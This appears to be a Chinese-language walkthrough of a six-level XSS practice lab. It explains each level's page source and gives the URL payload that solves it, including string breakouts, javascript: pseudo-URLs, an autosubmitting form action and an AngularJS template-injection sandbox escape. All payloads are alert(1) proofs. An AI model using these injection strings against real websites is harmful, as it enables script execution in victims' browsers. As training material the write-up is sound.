第一关:
就是简单的xss。没有进行任何过滤。
?username=<script>alert('xss')</script>
第二关:
查看页面源代码:
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = 'xss';
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>
代码是检查是否含有username这个参数,如果没有或者有都是把username是xss。不管怎么传入参数,这个页面中的username的值都是xss。
document.getElementById('ccc')
通过 ID ccc
查找页面中的一个 HTML 元素(如 <div id="ccc"></div>
)。
innerHTML
用来设置该元素的内容,将页面内容设置成welcome xss。
使用;结束前面的语句,让页面有这个参数的传递,再加一个xss语句,想要后面的代码不影响前面的东西,加入//来进行注释。
?username=xss';alert(1);//
第三关
查看页面源代码:
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = '\';alert(1);'1';
document.getElementById('ccc').innerHTML= "Welcome " + username;
</script>
发现多了一个反斜杠和单引号(’),那么就相当于’'构成了闭合。和上面那个差不多。
?username='';alert(1);//
第四关:
查看页面对那些情况进行了过滤。
伪链接 javascript:alert(1),浏览器会把javascript后面的内容当做代码执行。
?jumpUrl=javascript:alert(1)
第五关:
if(getQueryVariable('autosubmit') !== false){ //如果出错就会执行getQueryVariable函数
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
//变量action执行getQueryVariable函数
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
查看页面源代码,大概意思就是该js代码在一些情况下会自动提交一个表单,查询url
调用 getQueryVariable
函数,检查当前 URL 中是否有 autosubmit
参数。如果 autosubmit
参数存在,返回它的值。如果没有找到该参数,返回 false 。
这个条件是在有该值传递的时候才会执行。
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
通过id获取对应表单的数据。设置了表单提交的位置。
autoForm.submit();
自动提交表单。
function getQueryVariable(variable)
{
var query = window.location.search.substring(1); // 获取查询字符串(去掉?)
var vars = query.split("&"); // 按&分割参数对
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split("="); // 按=分割每个参数
if (pair[0] == variable) { return pair[1]; } // 如果找到了对应的参数,返回它的值
}
return(false); // 如果没有找到该参数,返回false
}
else{
// 可以放入不执行任何操作的代码,或者放置其他逻辑
}
这是一个功能函数,会对url进行检查。
如果这个参数不存在,就不执行任何代码。
?autosubmit=1&action=JavaScript:alert(1);//
第六关:
xss模板注入。
查看页面的源代码。页面中有一个url,点击进去,查看全部代码。
对页面进行测试,发现直接输出了答案,说明是xss模板注入
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}